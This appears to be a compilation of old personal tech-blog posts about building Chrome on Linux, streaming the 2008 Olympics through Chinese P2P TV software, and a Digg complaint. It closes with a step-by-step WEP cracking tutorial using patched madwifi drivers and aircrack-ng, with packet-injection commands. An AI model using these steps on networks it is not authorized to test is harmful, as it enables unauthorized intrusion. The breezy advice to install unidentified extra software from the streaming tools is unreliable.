If something of that sort already exists, please someone point it out to me and I’ll be shamed forever…

So I’ve released a screen cast with instructions on how to build Google Chrome on Linux using the Chromium source code and modifying it slightly. It’s actually quite simple to do and it should work with most Linux distributions with minor adjustments. Please note that the instructions are meant for people who have some experience compiling applications on Linux and applying simple patches to a source code.

Click here for screencast.

Being restricted to a single channel (NBC) to watch the 2008 Beijing Olympics sucks. And in any case, I don’t have a TV at home and don’t care much about TV. My life is the Internet Tubes. There are several other ways you can watch the 2008 Beijing Olympics. So I basically compiled a list of 4 different ways you can watch the Olympics Online live. Most of these methods use peer2peer video streaming (p2ptv) which hasn’t quite caught on in the West, but that is vastly popular in the East.

The different ways to watch the 2008 Beijing Olympics live on the internet are listed below in order of preference.

First and foremost, some of these programs will try to display some Chinese characters, so if you are using non-Chinese Windows which I assume is the case, you might want to install support for Chinese. IF AND ONLY IF YOU WANT TO SEE CHINESE CHARACTERS! Im not going to go in detail about how to enable Chinese support but basically there are two steps:
1- Enable support for East Asian languages in the control panel (requires reboot)
2- Set the default language for non-Unicode applications to Chinese in the control panel (requires reboot)
Warning: Some of the installers below are in English, if you set the default language for non unicode applications to Chinese, the installers will switch to Chinese and you will be very confused!

Furthermore, if you try to scout around the Chinese channels, here are the characters you should be looking for:
Olympics:
Sports:

China:

Method 1: PPStream
Vote: 4/5 – Many channels, great interface, instant access to Beijing 2008 Olympics streams
PPStream official homepage: http://www.ppstream.com/

PPStream is also really cool, it features a large selection of Beijing 2008 Live Olympic Streams, most of them showing the Chinese athletes. It also has many other channels you can watch if you’re into Chinese TV.

Download page: http://dl.pconline.com.cn/html_2/1/109/id=10768&pn=0&linkPage=1.html
Direct download link: http://download.pplive.com/pplivesetup_1.9.46_pconlinegg.exe
Download link on page: (see screenshot)

ppstream-download-links-for-beijing-2008-olympics

Once you have downloaded PPStream, launch the installer. The installation process is in English (Chinglish actually);
1: Click Next, Next again
2: At the “Select additional tasks” screen, you might want to uncheck “Auto run PPStream when computer starts”, then click next
3: The program will install, click “Finish” and it will start

That’s it!

After running PPStream, it might ask you to install some type of software, I installed it on my computer and it didn’t cause any problem. I’m assuming it’s a codec to play the videos (or not?). PPStream is safe, it’s a very popular software, widely used in China.

Note: Some of the channels are “premium”, you can’t play them, try a different category if none in the current category play.
Note2: you can find more links to PPStream channels here:
Direct link to PPStream Beijing Olympics Live Streams: http://myp2p.eu click “Live Sport” and you will find the Beijing 2008 Olympics list of streams. Several of the streams are PPStreams.

Here’s a screenshot:

PPStream screenshot

Method 2: TVants
Vote: 3.5/5 – Not a great interface but allows access to Bejing Olympics streams.
Homepage: http://tvants.en.softonic.com/

TVants is very straight forward to install and to run, just download and install the traditional way

Download Page: http://tvants.en.softonic.com/download
Direct download link: http://download.tvants.com/pub/tvants/tvants1/win32/bin/TvantsSetup.EXE

After it’s installed, go to http://myp2p.eu click “Live Sport” and you will find the Beijing 2008 Olympics list of streams. Several of the streams are TVAnts streams. Just click on them and TVAnts will be launched and will start buffering.

Screenshot:

tvants screenshot

Method 3: PPlive
Vote: 3/5 – Not enough channels
Homepage: http://www.pplive.com/en/index.html

PPlive really rocks because you can use it to get several Chinese channels (including the sports channels and whatnot). You can also use it to watch films or random Chinese TV. I actually found several Chinese films on PPlive that had English subtitles.

Download page: http://www.pplive.com/en/download.html
Direct download link: http://download.pplive.com/pplivesetup_1.9.15.exe

Once you have downloaded PPLive, launch the installer,
1: Select English and click “OK”
2: Click Next, I Agree, Next
3: Uncheck the last box (the unreadable one), Install
4: Uncheck “Start PPLive when I start Windows” and click Finish
5: Click the unreadable button

That’s it!

You can browse the channels at the right under the “live” tab! If you hover over the channels, it will pop-up with a screenshot!
Note: Most channels are repeated films or tv episodes streaming. Live TV is under the “Live TV” channel. The Beijing 2008 Olympics might not always be playing. Try the Shanghai Sports Channel.

Screenshot:

pplive screenshot

Method 4: UUSee
Vote: 2.5/5 - Not enough channels
Homepage: http://www.uusee.com/

UUSee also has a gui allowing you to channel-surf, the only problem is that some of the channels are only available for the Chinese mainland. (CCTV1 and 2 for example) but several channels are open to the world, just try them out.

Direct download link: http://download1.uusee.com/UUSee_Setup_2008.exe
More links at: http://www.uusee.com/download/

Install instructions:
UUSee is all in Chinese so follow these instructions:
1: Launch the setup file and click the obvious “Next” button
2: Click the button with (I), do the same on the next screen.
3: It will extract the files and on the next screen, uncheck both checkboxes. Click Finish and run UUSee!

Note: Again you can find streams for UUSee on myp2p.tv

That’s it!

Screenshot:

uusee screenshot

Others:
You might want to investigate:
-CCTV box beta
-Feidian player
-tvkoo…

I (used to) maintain both http://stuffilearnedonthecomputor.blogspot.com/ and http://newblogonstuff.blogspot.com/ and since I know the author of this blog, we decided to put our efforts together and both publish our articles only on this blog.

http://stuffilearnedonthecomputor.blogspot.com/ and http://newblogonstuff.blogspot.com/ will soon close down and I will try to find a way to archive the articles here.

I mainly blog about technology and I like to rant about politics.

My 1337 h4x0r name is Wahben ;p

Here’s how you can watch the Olympics live on Linux:

Note: You can also use sopcast to watch the Olympics under Windows but I am not going to talk about Windows sopcast here as I don’t use it.

Step 1: Get VLC
Ubuntu:

sudo apt-get install vlc

Other distros; go to http://www.videolan.org/vlc/

Step 2: Get sopcast, extract it and go to its folder

wget http://download.sopcast.cn/download/sp-auth.tgz
tar xvzf sp-auth.tgz
cd sp-auth

Step 3: Launch p2p sopcast stream
Usage:
./sp-sc-auth sop://[sopcasturl] [shareport] [streamport] > /dev/null &
List of streams: http://www.sopcast.org/channel/
Full list in XML: http://www.sopcast.com/chlist.xml
More streams on Google
Note: Not all streams have audio
Note 2: If sp-auth is giving out an error, you might need to download the stdc++5 library link: http://www.sopcast.com/download/libstdcpp5.tgz
Example:

./sp-sc-auth sop://broker1.sopcast.com:3912/48608 3904 8904 > /dev/null &

Step 4: Fire-up VLC, open network stream http://localhost:[streamport]/tv.asf
Note: you might have to wait 20 seconds or so before it allows you to connect to the stream

Screenshots:

vlc-sopcast-screenshot

Ubuntu sopcast olympics screenshot

12 Days ago I submitted a blog article on digg, it was a blog entry that gave step by step instructions on “How to crack WEP wifi keys”.

I thought it was pretty interesting, others didn’t think so. It did get to about 137 diggs before it mysteriously disappeared from the top upcoming stories section (in whichever section I submitted it).

Anyways, no big deal, I didn’t mind too much. The problem is that I wanted to submit another blog entry from that same exact blog, and I got this message: “This URL has been widely reported by users as being regularly used to spam Digg’ submission process and cannot be submitted at this time” (See image)

So three reasons could explain that:
1- Diggers buried and labeled the story as “Spam”.
2- Digg decided to censor the story (highly doubt it)
3- A nuclear fusion experiment went wrong causing electromagnetic interference with the Digg.com data center, mysteriously labeling the URL as a spam URL.

Well, I don’t think that Digg censored it. But if indeed Digg users have labeled http://stuffilearnedonthecomputor.blogspot.com as a spam Blog, then I beg you to have a second look!
1- Where are the ads?
2- Where are the links pointing to make-money-while-doing-nothing scams?
3- Where is the plagiarized content?
4- Where can you find a single indication that this story might be spam?

So here is my message to the diggers who (might have) labeled that blog as spam:
By incorrectly labeling a submission as “spam” instead of “Ok, This is lame” or anything else, you might quite possibly become the next major cause of censorship of an ENTIRE BLOG on Digg.com.

Before you hit that “bury – spam” button, better ask yourself whether it’s actually spam or just a story you don’t like.

Note: Don’t use this information to crack someone else’s Wifi access point because chances are it’s illegal where you reside. I take no responsability with what you do with this information. You have been warned.

Introduction:

WEP encryption is very poor. If your Wifi card supports “Monitoring mode”, it’s possible to capture packets that are broadcasted by any router. Given that you have captured enough encrypted packets, there is a software you can use that will deduce the WEP encryption key based on all the received packets.

The problem is that if there isn’t much data being transferred on your network, it may take a very long time to capture enough packets to extract the WEP key. Sometimes 30,000 packets are enough, other times you might need up to 2,000,000 packets. The solution to this problem is that it’s possible for you to “inject” packets into the network and have the router respond back with more packets, that will speed up the process a lot!

Several Wifi cards support “Monitoring mode” and packet injection, but don’t have it enabled by default. To enable it, you must download a special driver patch distributed by aircrack-ng. I will explain here how I did it with my atheros card.

Instructions to install aircrack-ng on Prism2, PrismGT (FullMAC), Broadcom (with the b43 driver), RTL8180, RTL8187, Ralink, ACX1xx and Zydas:
http://www.aircrack-ng.org/doku.php?id=install_drivers

Note: I might not always have the proper terminology. I am not a hacker and I don’t claim to be one. I’m just a guy with too much time on my hands. Don’t quote this documents on your master thesis on network security.

Step by step instructions:

Step 1: Install Linux on your computor. I installed Ubuntu because it’s pretty.

Step 2: Create a folder in your home directory, download the madwifi-ng driver source.

cd /home/MYHOMEDIR
mkdir playground
cd playground
svn checkout http://svn.madwifi.org/madwifi/trunk/ madwifi-ng

Step 3: Download the aircrack-ng driver patch and patch the madwifi driver source.

wget http://patches.aircrack-ng.org/madwifi-ng-r3745.patch
cd madwifi-ng
patch -Np1 -i ../madwifi-ng-r3745.patch

Step 4: Compile the patched madwifi drivers.

sudo make

Step 5: Unload the wifi drivers from memory.

sudo ./scripts/madwifi-unload

Step 6: Delete the former drivers from the kernel modules folder

I had to do this to install the patched drivers, don’t worry, the patched madwifi drivers also allow you to connect to the Internet normally.

NOTE: Chances are that your drivers are not in the same directory than mine are. If you’re using Ubuntu, they will be in /lib/modules/XXXXX/net/, replace XXXXX with the version of the kernel you are using, if you’re not sure, do ls /lib/modules and it will show you the list of folders.

sudo rm /lib/modules/2.6.24-19-generic/net/ath*

Step 7: Install the patched drivers.

sudo make install

Step 8: Reboot your computor

Step 9: Install aircrack-ng

Using Ubuntu, from repository:

sudo apt-get install aircrack-ng

Instructions to install from source:
http://www.aircrack-ng.org/doku.php?id=install_aircrack

Step 10: Test the drivers and see if the card can get in monitor mode. Activate monitoring mode.

If the test is successful, go to the next step.
If the test is unsuccessful, give up (or don’t).

Do this: (replace ath0 with your interface name, replace PATHWHEREICOMPILEDMADWIFI with the path where you compiled madwifi. It’s most likely /home/MYHOMEDIR/playground/madwifi-ng/ if you followed the instructions)

sudo -s
cd PATHWHEREICOMPILEDMADWIFI
./madwifi-ng/scripts/madwifi-unload
modprobe ath_pci
modprobe ath_hal
wlanconfig ath0 destroy
wlanconfig ath0 create wlandev wifi0 wlanmode monitor

The above should give no errors. Then check out if your card is in monitor mode

iwconfig

It should return something like this: The most important is that it says Mode:Monitor

ath0 IEEE 802.11g ESSID:”" Nickname:”"
Mode:Monitor Channel:0 Access Point: Not-Associated
Bit Rate:0 kb/s Tx-Power:16 dBm Sensitivity=1/1
Retry:off RTS thr:off Fragment thr:off
Encryption key:off
Power Management:off
Link Quality=0/70 Signal level=-94 dBm Noise level=-94 dBm
Rx invalid nwid:0 Rx invalid crypt:0 Rx invalid frag:0
Tx excessive retries:0 Invalid misc:0 Missed beacon:0

Step 11: Note the information you need to crack your wifi access point.

The information you will need is:
-The router’s BSSID (router MAC)
-The channel on which the router broadcasts.

There are a few ways to get this. The easiest and coolest way is to use Kismet because it’s got a very cool looking interface, and it provides detailed information about neighbouring wifi networks. You will impress girls if you decide to use Kismet. However, Kismet doesn’t work on my computer anymore so I’m not going to talk about it.

I know that my wifi access point broadcasts on channel 6, so I launched airdump and started recording all packets sent over channel 6. Let airdump run in a seperate terminal because you will need to record as many packets as possible to crack the WEP key. Here is the command: (replace FILENAME with whatever you want, and CHANNEL with the channel the wireless access point broadcasts on)

sudo airodump-ng –ivs -w FILENAME -c CHANNEL ath0

The airdump window gives out very useful information: The router’s BSSID, the wifi access point name, whether the Wifi network is using WEP (THIS WILL NOT WORK IF THE NETWORK USES WPA), and if you monitor for a little while it might show you the SSID of some of the clients connected to the router.

Note all that information down.

Step 12: Inject packets
In airdump: If the wireless access point’s #Data value increases really fast (so fast that it could get to 1,000,000 really quickly), skip to the next step. If it’s not moving much, you will need to stimulate the router using packet injection. There are many ways to do this, here is the way I do it:

In a seperate terminal window, launch aireplay

sudo aireplay-ng -b BSSID -x 100 -2 INTERFACE

-BSSID is the router’s MAC address in this format: 00:00:00:00:00:00
-INTERFACE is you wifi card’s interface name. Since I have an atheros card, mine is ath0. If you don’t know what it is, uou should have already given up.
-x 100 means that you don’t want to send more than 100 packets per second (You can change this. If you set this too high, your computor will crash. I think 100 is good enough, it won’t necessarely go faster with 200 packets per second)
-2 means use injection method 2

Then Aireplay will look for packets it can use. It will say “read xxxx packets” and eventually show you a packet and ask you “Use this packet?” hit “y” to use it and “n” to see another one. You will have to learn with trial and error. If you use a packet that results in airodump intercepting a lot of data, you will see the #Data value increase really fast in airodump, if the #Data doesn’t change or increases slowly, hit “CTRL-C” and you will be shown another packet.

Once it starts increasing really fast, go to the next step.

From my experience, packets that look like this don’t work:

.B….^…..~.I.
..~.I….|..I…
4F.p.=.W..O..\a.
..[.:.U8s.k..w..
..me^........Ujb
.....t..U..AP[.~
.49..A...gU.b../
.(2 .....w..`...
....#PL-.1i.bKK.
..:f...6@"......
...a...+..f.a"(.
....J...-Q..).f.
.1...........2..
............t..Q

And ones that have less data like this work better:

.A....~.I...$..H
..^....eVL...*=
< ...........zh.)o
-... U._w.~C.
.Q." '. [.me.".
....x/i .... I.`...
.*#)., :.$u. .=
...u.

Note: It's quite possible that airodump or aireplay crash, if they do, kill the processes and launch them once again. The data collected with airodump will remain in the folder and will not be overwritten.

Step 13: Get your WEP key!
While airodump collects packets and aireplay injects packets, launch airecrack, it will automatically try to crack the WEP key, if it fails, it will automatically wait for more data and try again: Replace BSSID with the access point's BSSID.

aircrack-ng -a 1 -n 128 -b BSSID *.ivs

Drink beer until it finds the WEP key.

Here's a screenshot of airodump-ng, aireplay-ng and airecrack-ng in action: Good luck!

aircrack-ng screenshot